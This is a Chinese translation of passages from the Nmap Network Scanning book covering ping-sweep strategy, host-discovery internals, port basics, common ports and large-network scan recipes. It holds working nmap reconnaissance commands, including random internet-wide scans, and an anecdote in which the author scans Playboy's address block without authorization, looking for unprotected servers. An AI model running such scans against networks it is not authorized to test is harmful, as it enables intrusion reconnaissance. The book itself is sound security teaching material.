如何将所有这些ping类型组合成一个ping扫描策略,取决于目标网络的特点和扫描目标。对于内部网络,默认的Ping类型通常很好用。对于大多随便扫描来说,默认的也很好,偶尔漏掉一个主机并不是什么大事。添加更多的探针可以帮助捕捉那些偶尔隐身的机器,代价是使ping扫描的时间更长一些。所花费的时间与发送到每台机器的探针数量大致成正比。对于通过互联网对目标网络进行安全扫描,添加更多的探针通常是可取的。尽量包括前面讨论过的多样化的技术。下面是一组PING选项,应该可以捕获绝大多数的主机-PE -PP -PS21,22,23,25,80,113,443,31339 -PA80,113,443,10042。加入--source-port 53可能也是值得的。结果会好多少,要花多少时间?这当然取决于目标网络,但是Nmap的随机目标选择选项(-iR)使它很容易进行快速测试。例3.13显示Nmap生成50,000个随机IP地址,然后进行默认的ping扫描。您应该记得,默认的是四个探测:一个ICMP回显请求,一个到443端口的TCP SYN,一个到80端口的TCP ACK,和一个ICMP时间戳请求。
#nmap -n -sL -iR 50000 | awk '/^Host / {print $2}' | sort -n > 50K_IPs
#head -5 50K_IPs
3.0.47.195 3.100.112.251 3.100.98.39 3.10.89.120 3.101.183.79 #nmap -n -sn -T4 -iL 50K_IPs -oA 50KHosts_DefaultPing
Starting Nmap ( http://nmap.org ) Host 4.178.9.27 is up (0.27s latency). Host 12.135.202.138 is up (0.20s latency). Host 12.151.172.161 is up (0.089s latency). [thousands of lines cut] Host 222.99.77.130 is up (0.20s latency). Nmap done: 50000 IP addresses (3927 hosts up) scanned in 2532.05 seconds
扫描50,000个地址只花了42分钟,检测到3,927台主机。为了确定使用更广泛的ping技术的效果,同样的50K主机被重新扫描,每个端口有14个探测,而不是默认的四个。如例3.14所示,Nmap能够多探测785个(20%)主机。花了大约147分钟,几乎是3.5倍的时间。考虑到检测到的所有新主机,这些额外时间花得很值。请注意,并非所有的新主机都是合理的。增加ping探测的数量会增加Nmap碰到使不存在的主机看起来是活动的网络工件的机会。对113端口的SYN或ACK包返回RST的防火墙就是一个例子。
例3.14. 用额外的探针重复ping扫描
# nmap -n -sn -PE -PP -PS21,22,23,25,80,113,443,31339 -PA80,113,443,10042 \
-T4 --source-port 53 -iL 50K_IPs -oA 50KHosts_ExtendedPing
Starting Nmap ( http://nmap.org )
Host 4.238.177.186 is up (0.44s latency).
Host 12.135.202.138 is up (0.13s latency).
Host 12.151.172.161 is up (0.092s latency).
[thousands of hosts cut]
Host 222.94.94.113 is up (0.23s latency).
Nmap done: 50000 IP addresses (4712 hosts up) scanned in 8842.31 seconds
在为客户进行安全审计时,我通常会从TCP分析开始,对最常见的1000个端口(默认)进行端口扫描,并使用全面的ping扫描选项,如例3.14中的 "重复ping扫描与额外探针"。这样的扫描不会花费特别长的时间,使我能够迅速开始工作。在我工作的时候,我还在后台对所有65K TCP端口进行-Pn(禁止ping)扫描。当它们完成后(可能是几天后),我将它们与我最初的快速扫描进行比较,并调查发现的任何新端口或机器。
译者注:上文我们可以看出,主机发现策略只是一种经过大规模测试后的得出的一种折中方案,不是最优解。
主机发现代码算法
像Nmap这样的开源软件最大的好处之一是,当好奇的用户想得到关于其操作的答案时,总是能够研究源代码。最高级别的ping扫描函数是nexthost (在target.cc中,它调用massping来初始化一个目标列表。Massping依次将列表传递给ultra_scan (在scan_engine.cc)。Ultra_scan是Nmap的通用扫描功能,负责发送、接收和解释数据包的所有繁重工作。关于ultra_scan的更多信息见 "扫描代码和算法 "一节。
虽然源码分析是真正了解上到 Nmap 操作全貌下到每一个微小细节的唯一方法,但它并不总是理解 Nmap 的最简单方法。在许多情况下,在给定一组命令行选项的情况下探索 Nmap 行为的最有效方法是添加--packet-trace
选项,该选项打印出 Nmap 发送和接收的所有数据包。
因为源代码和--packet-trace
选项是学习 Nmap 操作细节的极好资源,在这里,我将只在较高的层次上讨论主机发现的工作方式。当Nmap被执行时,它可能通过包含几十万甚至几百万个主机的网络。所以Nmap把它们分成足够小的块,以便一次处理(几十个到几千个主机)。 然后ultra_scan在块中进行工作,在其拥塞控制允许的范围内以最快的速度发送数据包。Nmap不是一下子把用户要求的所有探测发送给每个主机,而是把第一个探测发送给所有目标,然后是第二个探测,依此类推。当收到对探测的决定性响应时,该主机将视情况被标记为启动或关闭,并且不会向其发送进一步的探测。如果一个目标主机没有对任何探测作出响应,甚至在重传之后,就被标记为关闭。。Nmap 一直等待,直到每个主机都收到一个确定的响应或超时。最终,Nmap 耗尽了块中的新主机,并且随着重传的完成,未完成的探测数量减少到零。ping扫子系统 返回 这个结果,这样Nmap就可以开始端口扫描或对目标机器进行任何其它要求的探测。当 Nmap 完全完成一个主机块时,它会打印结果并将下一个块传递给 ping 扫描器。
多台主机,通常每台主机有多个探针,并发处理。未完成的探针数量和超时时间是根据网络延迟和可靠性实时修改的。ultra_scan的性能算法将在 "扫描代码和算法 "一节中进一步描述。
4. 端口扫描概述
端口扫描简介
究竟什么是端口?
最流行的端口是什么?
什么是端口扫描?
为什么要扫描端口?
快速端口扫描教程
命令行标志
选择扫描技术
选择要扫描的端口
与时间相关的选项
输出格式和详细程度选项
防火墙和 IDS 规避选项
指定目标
其他选项
IPv6 扫描 ( -6)
解决方案:扫描大型网络以查找某个打开的 TCP 端口
问题
解决
讨论
另见
端口扫描简介
尽管多年来 Nmap 的功能不断增长,但它最初是作为一种高效的端口扫描器,这仍然是它的核心功能。简单的命令nmap <target>扫描主机上最常用的1000个TCP端口,把每个端口分为打开、关闭、过滤、未过滤、打开|过滤、或关闭|过滤 状态。
究竟什么是端口?
端口只是一种软件抽象,用于区分通信通道。与使用 IP 地址识别网络上的机器的方式类似,端口识别单个机器上正在使用的特定应用程序。例如,默认情况下,您的 Web 浏览器将通过 HTTP URL 连接到机器的 TCP 端口 80。如果您改为指定安全 HTTPS 协议,浏览器将默认尝试使用端口 443。
Nmap 工作在使用端口的两种协议:TCP 和 UDP。每个协议的连接由四个元素唯一标识:源和目标 IP 地址以及相应的源和目标端口。所有这些元素都是简单的数字,放在主机之间发送的每个数据包的头中。该协议是一个八位字段,它指定 IP 数据部分(即就是有效负载)中包含的数据包类型。例如,TCP是协议号6,UDP是17。IPv4 地址的长度为 32 位,而端口的长度为 16 位。IPv6 地址的长度为 128 位。进一步的 IP、TCP 和 UDP 报头布局细节可以在 “TCP/IP 参考”一节中找到。
因为大多数流行的服务都注册到一个周知的端口号,所以人们通常可以猜测开放端口代表什么服务。Nmap包括一个nmap-services
文件,包含注册端口和协议号的知名服务,以及木马后门和其他无需向 Internet 编号分配机构 (IANA) 注册的应用程序的常用端口。Nmap把这个服务名称和端口号一起打印出来供参考。
因为端口号字段是 16 位宽,所以值可以达到 65,535。最低可能值零是无效的。 Berkeley 套接字 API 定义了通常如何网络编程,它不允许使用端口 0。相反,它将端口零请求解释为通配符,这意味着程序员不关心使用哪个。然后系统选择一个可用的端口号。例如,程序员很少关心用于传出连接的源端口号。所以他们将其设置为零,让操作系统选择一个。
虽然端口 0 无效,但没有什么能阻止某人在标头字段中指定它。一些恶意特洛伊木马后门在受感染系统的零端口上侦听,作为一种隐蔽方式提供非法访问,而不会出现在大多数端口扫描中。为了解决这个问题,当明确指定时,Nmap 确实允许扫描端口零(例如-p0-65535
)。
第一类有效端口,编号 1 到 1,023, 被称为保留端口。Unix 系统(与 Windows 不同)要求应用程序具有特殊(root)权限 ,以便与这些端口绑定并进行监听。这个想法是让远程用户相信他们正在连接到由管理员启动的有效服务,而不是由一些邪恶的、无特权的用户启动的。如果 SSH 的注册端口是 2222 而不是 22,则恶意用户可以在该端口上启动恶意 SSH 守护程序,从任何连接的人那里收集密码。由于大多数常见的服务器应用程序都在保留的端口上监听,这些端口往往是最有成效的扫描对象。
临时端口范围是另一类端口。这个端口池是由系统提供的,可以根据需要进行分配。当应用程序指定端口零(意思是“任何端口”)时,系统会从这个范围内选择一个端口。范围因操作系统而异,通常是可配置的。它应该至少包含几千个端口,以避免在打开许多并发连接时耗尽。Nmap 连接扫描可以一次使用数百个,因为它扫描每台目标机器上的每个指定端口。在Linux上,您可以用/proc/sys/net/ipv4/ip_local_port_range文件 查看或设置范围。 示例 4.1显示在我的 Linux 系统上,范围是 32,768 到 61,000。这么大的范围几乎在所有情况下都应该是足够的,但我扩大范围只是为了演示如何做到这一点。
felix/#cat /proc/sys/net/ipv4/ip_local_port_range
32768 61000 felix/#echo "10000 65000" > /proc/sys/net/ipv4/ip_local_port_range
felix/#cat /proc/sys/net/ipv4/ip_local_port_range
10000 65000 felix/#
SunRPC 端口通常位于临时范围内。其他应用程序为文件传输或其他事件暂时打开临时端口。FTP客户端在请求主动模式传输时经常这样做。一些P2P和即时通信客户端也会这样做。
IANA有他们自己的端口分类方案,与本书的白话略有不同。他们的权威端口列表(http://www.iana.org/assignments/port-numbers)将空间划分为以下三类。
- 周知端口
-
这些是已向 IANA 注册的特定服务的保留端口(在 1 到 1,023 的范围内,如上所述)。熟悉的示例分别是 SSH、SMTP 和 HTTP 服务的端口 22、25 和 80。
- 注册端口
-
这些端口的范围在 1,024 到 49,151 之间,并且与周知端口相同的方式在 IANA 已经注册。其中大多数不像众所周知的端口那样常用。主要区别在于非特权用户可以绑定到这些端口,从而在其注册端口上运行服务。用户无法在大多数平台上为周知端口执行此操作,因为它们位于保留的端口范围内。
- 动态和/或私有端口
-
IANA 保留从 49152 到 65535 的端口号以供动态使用,例如在临时端口部分中讨论的那些。仅在公司内部使用的专有服务也可以使用这些端口。
当本书提到注册的或周知端口而没有提到IANA时,通常是指在nmap-services文件中用Nmap注册的端口,不管它们是否属于保留端口范围。
重复略。。。
最受欢迎的端口是什么?
我在2008年夏天扫描了数以千万计的互联网主机,并从企业收集数据,以确定每个端口号被发现开放的频率。熟悉最常见的服务端口是很重要的,同时也很想知道哪些端口进入了名单。下面两个列表提供了由我们的经验性扫描数据确定的顶级TCP和UDP端口。列出的服务是在我们的nmap-services文件中找到的。我们试图为每个端口列出最常见的服务,当然,一个端口有可能被用于不同的事情。
-
端口 80 (HTTP)——如果你甚至不知道这个服务,那你就读错书了。这占我们发现的开放端口的 14% 以上。
-
端口 23 (Telnet) — Telnet 仍然存在(特别是作为路由器和智能交换机等设备上的管理端口),即使它不安全(未加密)。
-
端口 443 (HTTPS) - SSL 加密的 Web 服务器默认使用此端口。
-
端口 21 (FTP)——FTP 和 Telnet 一样,是另一种不安全的协议,应该会死掉。即使使用匿名 FTP(避免身份验证嗅探的担心),数据传输仍然会受到篡改。
-
端口 22 (SSH) — 安全 Shell,是 Telnet(在某些情况下是 FTP)的加密替代品。
-
端口 25 (SMTP) - 简单邮件传输协议(同样不安全)。
-
端口 3389 (ms-term-server) — Microsoft 终端服务管理端口。
-
端口 110 (POP3) - 用于电子邮件检索的邮局协议版本 3(不安全)。
-
端口 445 (Microsoft-DS) - 用于通过 IP 与 MS Windows 服务(例如文件/打印机共享)进行 SMB 通信。
-
端口 139 (NetBIOS-SSN) - 用于与 MS Windows 服务(例如文件/打印机共享)通信的 NetBIOS 会话服务。这在Windows机器上支持的时间比445还长。
-
端口 143 (IMAP) - Internet 消息访问协议版本 2。一种不安全的电子邮件检索协议。
-
端口 53(域)— 域名系统 (DNS),用于在主机/域名和 IP 地址之间进行转换的不安全系统。
-
端口 135 (MSRPC) - MS Windows 服务的另一个常用端口。
-
端口 3306 (MySQL)——用于与 MySQL 数据库通信。
-
端口 8080(HTTP 代理)——通常用于 HTTP 代理或作为普通 Web 服务器的备用端口(例如,当另一台服务器已经在侦听端口 80 时,或者由只能绑定到高端口的非特权 UNIX 用户运行时)。
-
端口 1723 (PPTP) — 点对点隧道协议(一种实现 VPN 的方法,通常需要宽带连接到 ISP)。
-
端口 111 (RPCBind) - 将 SunRPC 程序号映射到它们当前的 TCP 或 UDP 端口号。
-
端口 995 (POP3S) - 为安全添加了 SSL 的 POP3。
-
端口 993 (IMAPS) - 添加了 SSL 的 IMAPv2 以提高安全性。
-
端口 5900 (VNC) — 图形桌面共享系统(不安全)。
-
端口 631 (IPP) - 互联网打印协议。
-
端口 161 (SNMP) - 简单网络管理协议。
-
端口 137 (NETBIOS-NS) — 用于 Windows 服务(如文件和打印机共享)的众多 UDP 端口之一。
-
端口 123 (NTP) - 网络时间协议。
-
端口 138 (NETBIOS-DGM) - 另一个 Windows 服务。
-
端口 1434 (MS-SQL-DS) - Microsoft SQL Server。
-
端口 445 (Microsoft-DS) - 另一个 Windows 服务端口。
-
端口 135 (MSRPC) - 另一个 Windows 服务端口。
-
端口 67 (DHCPS) — 动态主机配置协议服务器(在客户端加入网络时将 IP 地址提供给客户端)。
-
端口 53(域)— 域名系统 (DNS) 服务器。
-
端口 139 (NETBIOS-SSN) - 另一个 Windows 服务端口。
-
端口 500 (ISAKMP) - 互联网安全关联和密钥管理协议用于设置 IPsec VPN。
-
端口 68 (DHCPC) - DHCP 客户端端口。
-
端口 520(路由)— 路由信息协议 (RIP)。
-
端口 1900 (UPNP) — Microsoft 简单服务发现协议,它支持发现通用即插即用设备。
-
端口 4500 (nat-t-ike) - 用于在启动 IPsec 连接时协商网络地址转换遍历(在 Internet 密钥交换期间)。
-
端口 514 (Syslog) - 标准 UNIX 日志守护程序。
-
端口 49152(可变)— IANA指定的动态/私有端口的第一个。从这里开始,直到端口范围的终点(65536),都不能注册正式的端口。一些系统使用这个范围作为他们的临时端口,因此,在没有请求特定号的情况下绑定端口的服务,如果他们是第一个这样做的程序,通常会被分配到49152。
-
端口 162 (SNMPTrap) - 简单网络管理协议陷阱端口(SNMP 代理通常使用 161,而 SNMP 管理器通常使用 162)。
-
端口 69 (TFTP) - 简单文件传输协议。
什么是端口扫描?
端口扫描是远程测试多个端口以确定它们处于什么状态的行为。最感兴趣的状态通常是打开的,这意味着应用程序正在侦听并接受端口上的连接。许多技术可用于进行这种扫描。 第 5 章,端口扫描技术和算法解释了每种最合适的情况。
重复略。。。
为什么要扫描端口?
端口扫描不仅是为了好玩和娱乐。定期扫描您的网络有许多实际好处。其中最重要的是安全性。网络安全的核心原则之一是减少所提供服务的数量和复杂性,从而减少攻击者入侵的机会。大多数远程网络危害来自利用侦听 TCP 或 UDP 端口的服务器应用程序。在许多情况下,被利用的应用程序甚至没有被目标组织使用,而是在设置机器时默认启用。如果该服务被禁用或受防火墙保护,攻击就会被阻止。
意识到每一个开放的端口都是入侵的机会,攻击者定期扫描目标,对所有开放的端口进行清点。他们将这个监听服务列表与他们最喜欢的有漏洞软件的利用列表进行比较。只需要一个匹配就可以入侵一台机器,创造一个立足点,而这个立足点往往被用来侵扰整个网络。攻击者对他们的目标通常是无差别的,往往只扫描可利用的应用程序的默认端口(译者注:比如攻击目标是手机但是nmap会把它当作服务器攻击)。这比扫描每个端口要快得多,尽管服务在非默认端口上运行时将被遗漏。这样的攻击者经常被嘲笑为 "脚本小子",因为他们通常只知道如何运行一个由更熟练的人编写的攻击脚本,对安全知之甚少。横跨多个组织,这样的攻击者一定会找到有漏洞的主机。他们可能是一个相当讨厌的人,尽管他们的数量和对可进入互联网的机器的无情冲击往往促使人们迅速修补系统。这减少了更严重的、有针对性的攻击成功的可能性。
针对这些黑客的一个重要防御措施是系统管理员使用 Nmap 等工具定期扫描他们自己的网络。获取开放端口列表,并关闭所有未使用的服务。确保那些必须保留的服务都打上了完整的补丁,并确保你在供应商的安全通知名单上。应尽可能添加防火墙规则,限制只有合法用户才能访问。大多数流行的应用程序在网上都有加固说明,进一步减少破解者的机会。Nmap 无法为您完成大部分工作,但它会创建可用服务列表以供你着手使用。一些管理员试图用netstat来代替,但这并不容易扩展。它需要访问每台机器,而一些移动机器很容易被遗漏。此外,您无法在普通的无线接入点、VoIP 电话或打印机上运行netstat 。此外,受感染的机器总是有风险,它会带有木马的netstat,它会发出虚假信息。攻击者安装的大多数现代rootkits都包括这个功能。仅仅依靠Nmap也是一个错误。建议把精心设计、配置审计和定期扫描结合起来。
虽然安全性是端口扫描的最常见原因,但管理员经常发现它也适用于其他目的。创建机器清单及其提供的服务可用于资产跟踪、网络设计、策略合规性检查、软件许可证跟踪、可用性测试、网络调试等。
快速端口扫描教程
我开发 Nmap 的目标之一是保持最常见的用法简单,同时保留自定义和高级扫描的灵活性。这在命令行界面上通过提供几十个选项来实现,但在没有指定时选择合理的默认值。新手可以从像 nmap<target>
这样简单的命令开始。同时,高级用户有时会指定很多选项,以至于他们的终端行环绕。
使用起来即简单又复杂,命令的输出也必须达到类似的平衡。最重要的结果应该突出,甚至对那些没有读过man page的偶尔用户来说。输出应该足够全面和简洁,以适合每天在数千台机器上运行 Nmap 的专业渗透测试人员。阅读本书或 Nmap 源代码的足够聪明的用户受益于对扫描仪的更好控制以及对 Nmap 输出真正含义的深入了解。
本教程演示一些常见的Nmap端口扫描情况并解释输出。我们的目标不是试图做到全面,而是简单让新用户熟悉到足以理解本章的其他内容。
最简单的 Nmap 命令就是nmap本身。这会打印出常见 Nmap 选项和语法的速查表。一个更有趣的命令是nmap <target>
,它执行以下操作:
-
使用DNS将<target>从主机名转换为IPv4地址。如果指定的是IP地址而不是主机名,则跳过这个查询。
-
pings 主机,默认情况下使用 ICMP 回显请求数据包和 TCP ACK 数据包到端口 80,以确定它是否已启动并正在运行。如果不是,Nmap 会报告该事实并退出。我可以指定
-Pn
跳过这个测试。请参阅第 3 章,主机发现(“ Ping 扫描”)。 -
使用反向 DNS 查询将目标 IP 地址转换回名称。由于 DNS 的工作方式,反向名称可能与命令行上指定的<target>不一致。这个查询可以用-n选项跳过,以提高速度和隐蔽性。
-
对nmap-services中列出的最流行的1000个端口发起TCP端口扫描。通常使用SYN隐蔽扫描,但对于缺乏发送原始数据包所需权限的非root Unix用户,可以用connect扫描代替。
-
以正常的人类可读格式将结果打印到标准输出,然后退出。可以指定其他输出格式和位置(文件),如第 13 章,Nmap 输出格式中所述。 示例 4.2 显示了 scanme.nmap.org 用作
<target>
.
# nmap scanme.nmap.org
Starting Nmap ( http://nmap.org )
Nmap scan report for scanme.nmap.org (64.13.134.52)
Not shown: 994 filtered ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
53/tcp open domain
70/tcp closed gopher
80/tcp open http
113/tcp closed auth
Nmap done: 1 IP address (1 host up) scanned in 4.99 seconds
例 4.2中的第一行输出 简单地给出了下载 Nmap 的 URL。Nmap 启动的时间和版本号通常也会提供,尽管为了保持一致性和避免换行,这些通常从本书中删除。
下一行提供目标 IP 地址(本例中为 IPv4)和反向 DNS 名称(也称为 PTR 记录) 如果可用。Nmap 只显示“有趣的端口”,尽管所有扫描的端口都被计算在内。被认为最有趣的端口是单独列出的,因为它们对该主机来说是打开的或处于很少见的状态。当许多端口处于单一非打开状态时,它们被视为默认状态,并聚合到一行中,以避免用数千个无趣的条目稀释结果。在这个例子中,Nmap注意到994个端口被过滤了。
接下来是有趣的端口表,并提供关键的扫描结果。这些列根据使用的选项而变化,但在这种情况下提供了每个端口的端口号和协议、状态和服务协议。这里的服务只是通过在nmap-services中查找端口来猜测的。如果任何一个端口在该文件中没有注册名称,该服务将被列为未知。这些端口中有三个是开放的,三个是关闭的。
最后,Nmap 在退出之前会报告一些基本的计时统计信息。这些统计数据是指定的目标数量、ping 扫描发现的目标数量以及所用的总时间。
虽然通常只需要这个简单的命令,但高级用户通常会走得更远。在示例 4.3中,使用四个选项修改了扫描。 -p0-
要求 Nmap 扫描每个可能的 TCP 端口,-v
要求 Nmap 详细说明它, -A
启用激进的测试,例如远程操作系统检测、服务/版本检测和 Nmap 脚本引擎 (NSE)。最后,-T4
启用更积极的定时策略来加快扫描速度。
# nmap -p0- -v -A -T4 scanme.nmap.org
Starting Nmap ( http://nmap.org )
Completed Ping Scan at 00:03, 0.01s elapsed (1 total hosts)(译者注:主机发现阶段)
Scanning scanme.nmap.org (64.13.134.52) [65536 ports](译者注:端口扫描阶段)
Discovered open port 22/tcp on 64.13.134.52
Discovered open port 53/tcp on 64.13.134.52
Discovered open port 80/tcp on 64.13.134.52
SYN Stealth Scan Timing: About 6.20% done; ETC: 00:11 (0:07:33 remaining)
Completed SYN Stealth Scan at 00:10, 463.55s elapsed (65536 total ports)
Completed Service scan at 00:10, 6.03s elapsed (3 services on 1 host)(译者注:服务识别阶段)
Initiating OS detection (try #1) against scanme.nmap.org (64.13.134.52)(译者注:系统识别阶段)
Initiating Traceroute at 00:10(译者注:网络追踪)
64.13.134.52: guessing hop distance at 9
Completed SCRIPT ENGINE at 00:10, 4.04s elapsed(译者注:脚本执行阶段)
Host scanme.nmap.org (64.13.134.52) appears to be up ... good.
Nmap scan report for scanme.nmap.org (64.13.134.52)
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp closed smtp
53/tcp open domain ISC BIND 9.3.4
70/tcp closed gopher
80/tcp open http Apache httpd 2.2.2 ((Fedora))
|_HTML title: Go ahead and ScanMe!
113/tcp closed auth
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.20-1 (Fedora Core 5)
Uptime guess: 2.457 days (since Thu Sep 18 13:13:24 2008)
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
[First eight hops cut for brevity]
9 10.36 metro0.sv.svcolo.com (208.185.168.173)
10 10.29 scanme.nmap.org (64.13.134.52)
Nmap done: 1 IP address (1 host up) scanned in 477.23 seconds
Raw packets sent: 131432 (5.783MB) | Rcvd: 359 (14.964KB)
示例 4.3中Nmap 无疑提供了所要求的详细程度!幸运的是,额外的输出很容易理解。前 13 新行是运行时信息,让用户知道正在发生的事情,因为她期待地盯着终端,希望有好消息。什么是好消息取决于她是一个必须修复故障的系统管理员、需要报告一些漏洞的渗透测试人员,还是试图利用这些漏洞的黑帽黑客。为简洁起见,删除了大约十几个类似的行。“发现的开放端口”行提供开放端口的即时通知,以便她可以在扫描完成之前开始敲打它们。扫描时间 "一行提供了一个完成时间的估计,所以她知道是继续盯着屏幕还是吃午饭。由于网络条件(延迟、拥堵、带宽等)和数据包过滤规则差别很大,同样的扫描选项对一台主机可能需要30秒完成,而对另一台主机可能需要45分钟。如果你想在扫描时得到当前的时间估计,只需按回车键。
端口表没有显示新端口。所有扫描的额外端口都处于过滤状态,过滤端口总数从 994 增加到 65,530。虽然没有新的分项端口,但条目已经改变。一个新VERSION
列提供了侦听服务的应用程序名称和版本详细信息。这来自服务检测,这是该-A
选项启用的功能之一。 服务检测的另一个特点是该SERVICE
列中的所有服务协议实际上都经过了验证。在以前的扫描中,它们是基于相对脆弱的启发式的nmap-services端口号查询。这次的查表法碰巧是正确的,但它并不总是正确的。(译者注:如果只进行端口扫描那么服务就是查表得出的不准确,如果是服务识别那么他就是 可靠的)
-A增加的另一个特性是Nmap脚本引擎,在第9章,Nmap脚本引擎中会深入讨论。这里显示的唯一脚本是HTML标题。存在几十个其他脚本,但没有一个为这台机器找到有用的输出。traceroute结果也是由-A添加的。这个选项比大多数traceroute程序更有效、更强大,因为探测是并发进行的,而且Nmap使用扫描结果来确定有利的探测类型(本例中是TCP数据包到80端口)。
其余的大部分新行来自操作系统检测(也由 -A启用),这将在第 8 章,远程操作系统检测中进行深入讨论 。最后一行表明,所有这些额外信息都是有代价的——完成扫描所用的时间几乎是示例 4.2“简单扫描:nmap scanme.nmap.org”的100 倍 (477 秒,与5 秒)。
命令行标志
虽然本教程展示了执行Nmap端口扫描是多么简单,但有几十个命令行标志可以使系统更强大和灵活。本节只涉及与端口扫描有关的选项,而且通常只描述端口扫描相关的功能选项。参见第15章,Nmap参考指南,以获得选项标志和它们所做的一切的全面列表。
选择扫描技术
本节简要介绍了它们。下一章将全面介绍。
选择要扫描的端口
重复略。。。
Nmap 提供了以标准格式、简单的面向行的“ grepable ”格式或 XML 编写报告的能力。这些报告通过-oN
(normal)、 -oG
(grepable) 和-oX
(XML) 选项启用。每个选项都有一个文件名,它们可以组合在一起以多种格式同时输出。还可以使用几个选项来增加输出的详细程度。本节列出了最重要的与输出相关的选项以及它们如何应用于端口扫描。有关任何这些选项的更多详细信息,请参阅 名为“输出”的部分。在第 13 章,Nmap 输出格式中提供了对输出选项和格式的更彻底的处理以及许多示例。
Nmap提供许多潜入IDS而不被发现或规避防火墙规则的选项。对于一个概述,请看 "防火墙/IDS规避和欺骗 "部分。要全面了解防火墙和IDS规避技术,以及实际例子,见第10章,检测和颠覆防火墙和入侵检测系统。
指定目标
要扫描单个主机(或其中几个),只需将它们的名称或 IP 地址添加到 Nmap 命令行的末尾即可。Nmap 还具有结构化语法,可以轻松扫描大型网络。你可以给 Nmap 一个目标文件,甚至让 Nmap 随机生成它们。这一切都在名为“指定目标主机和网络”的部分中进行了描述。
其他选项
这里有一些选项可以很方便地使用,尽管它们并不属于特定的类别。描述的重点是每个选项与端口扫描的关系。参见第15章,Nmap参考指南,以获得对每个选项的更全面的描述。
解决方案:扫描大型网络以查找某个打开的 TCP 端口
问题
您希望快速找到网络上所有打开某个 TCP 端口的机器。例如,在发现新的 Microsoft IIS 漏洞后,您可能希望扫描所有打开 TCP 端口 80 的计算机,并确保它们没有运行该软件的有漏洞版本。或者,如果您调查一个受感染的机器并发现攻击者在端口 31337 上运行了一个后门,那么扫描您的整个网络以查找该端口可能会很快发现其他受感染的系统。全面(所有端口)扫描将稍后进行。
解决方案
直接的方法是运行:
nmap -Pn -p <portnumber>
-oG <logfilename.gnmap>
<target networks>
下面是一个在 4096 个 IP 中搜索 Web 服务器的具体示例(端口 80 开放):
nmap -Pn -p80 -oG logs/pb-port80scan-%D.gnmap 216.163.128.0/20
文件名中的“ %D ”被替换为运行扫描的数字日期(例如,2007 年 9 月 1 日的“ 090107 ”)。虽然此扫描命令有效,但为被扫描的网络选择适当的定时值会大大减少扫描时间。上面的扫描花费了 1,236 秒,而下面的优化版本在 869 秒内提供了相同的结果:
nmap -T4 -Pn -p80 --max-rtt-timeout 200ms --initial-rtt-timeout 150ms --min-hostgroup 512 -oG logs/pb-port80scan2-%D.gnmap 216.163.128.0/20
而其中大部分时间是用来做反向DNS解析的。通过在上面的命令行中加入-n,将4096个主机的扫描时间减少到193秒。耐心等待三分钟,比之前的21分钟要容易得多
上面的命令将 grepable-format 结果存储在指定的文件中。然后,一个简单的 egrep 命令将找到打开 80 端口的机器:
egrep '[^0-9]80/open' logs/pb-port80scan2-*.gnmap
egrep模式前面有[^0-9],以避免假的匹配端口,如3180。当然这不可能发生,因为我们只扫描80端口,但对于多端口扫描来说,这是一个很好的做法。如果你只想要IP地址,而不想要其他东西,可以把egrep的输出转到awk '{print 2}'。
讨论
有时,一个故事是理解决策的最好方式,例如我是如何决定解决方案部分的命令行的。我在家里很无聊,于是开始探索一本名为《花花公子》的流行杂志的网络。他们的主要网站包括一个巨大的图片库,但大多数都被锁在一个付费订阅认证系统后面。我很好奇,我是否能在他们的网络上找到任何其他免费提供图片的系统。我想,他们可能有暂存或开发服务器,这些服务器依靠的是隐蔽性而不是密码认证。虽然这种服务器理论上可以监听任何端口号,但最有可能的是TCP 80端口。所以我决定尽快扫描他们的整个网络,寻找那个开放的端口。
第一步是确定要扫描哪些IP地址。我在美国互联网号码注册处(ARIN)对名为花花公子的组织进行了whois搜索。结果显示在例4.5中。
core~> whois -h whois.arin.net n playboy
[Querying whois.arin.net]
[whois.arin.net]
OrgName: Playboy
OrgID: PLAYBO
Address: 680 N. Lake Shore Drive
City: Chicago
StateProv: IL
PostalCode: 60611
Country: US
NetRange: 216.163.128.0 - 216.163.143.255
CIDR: 216.163.128.0/20
NetName: PLAYBOY-BLK-1
NetHandle: NET-216-163-128-0-1
Parent: NET-216-0-0-0-0
NetType: Direct Assignment
NameServer: NS1-CHI.PLAYBOY.COM
NameServer: NS2-CHI.PLAYBOY.COM
[...]
这显示了注册到 Playboy 的 4096 个 IP(网络范围 216.163.128.0/20)。使用“查找组织的 IP 地址”一节中讨论的技术,我可以找到更多他们控制的网络块,但对于这个示例来说,4096 个 IP 就足够了。
接下来我想估计到这些机器的延迟,这样Nmap就知道该怎么做。这不是必须的,但是给Nmap提供适当的时间值可以加快它的速度。这对单端口-Pn扫描特别正确,比如这次。Nmap没有从每个主机收到足够的响应来准确估计延迟和丢包率,所以我将在命令行上帮它解决。我的第一个想法是ping他们的主网络服务器,如例4.6所示。
# ping -c5 www.playboy.com
PING www.phat.playboy.com (209.247.228.201) from 205.217.153.56
64 bytes from free-chi.playboy.com (209.247.228.201): icmp_seq=1 time=57.5 ms
64 bytes from free-chi.playboy.com (209.247.228.201): icmp_seq=2 time=56.7 ms
64 bytes from free-chi.playboy.com (209.247.228.201): icmp_seq=3 time=56.9 ms
64 bytes from free-chi.playboy.com (209.247.228.201): icmp_seq=4 time=57.0 ms
64 bytes from free-chi.playboy.com (209.247.228.201): icmp_seq=5 time=56.6 ms
--- www.phat.playboy.com ping statistics ---
5 packets transmitted, 5 received, 0% loss, time 4047ms
rtt min/avg/max/mdev = 56.652/57.004/57.522/0.333 ms
最大往返时间为 58 毫秒。不幸的是,这个 IP 地址 (209.247.228.201) 不在我希望扫描的 216.163.128.0/20 网络块内。我通常会将这个新的网络块添加到目标列表中,但已经决定将我的扫描限制为原始的 4096 个 IP。这些时间可能完全可以使用,但从目标网络上的 IP 中找到实际值会更好。我使用dig从前面whois查询中显示的名字服务器中获取花花公子的公共DNS记录。输出结果显示在例4.7中。
core~> dig @ns1-chi.playboy.com playboy.com. any
; <<>> DiG 8.3 <<>> @ns1-chi.playboy.com playboy.com. any
[...]
;; ANSWER SECTION:
playboy.com. 1D IN A 209.247.228.201
playboy.com. 1D IN MX 10 mx.la.playboy.com.
playboy.com. 1D IN MX 5 mx.chi.playboy.com.
playboy.com. 1D IN NS ns15.customer.level3.net.
playboy.com. 1D IN NS ns21.customer.level3.net.
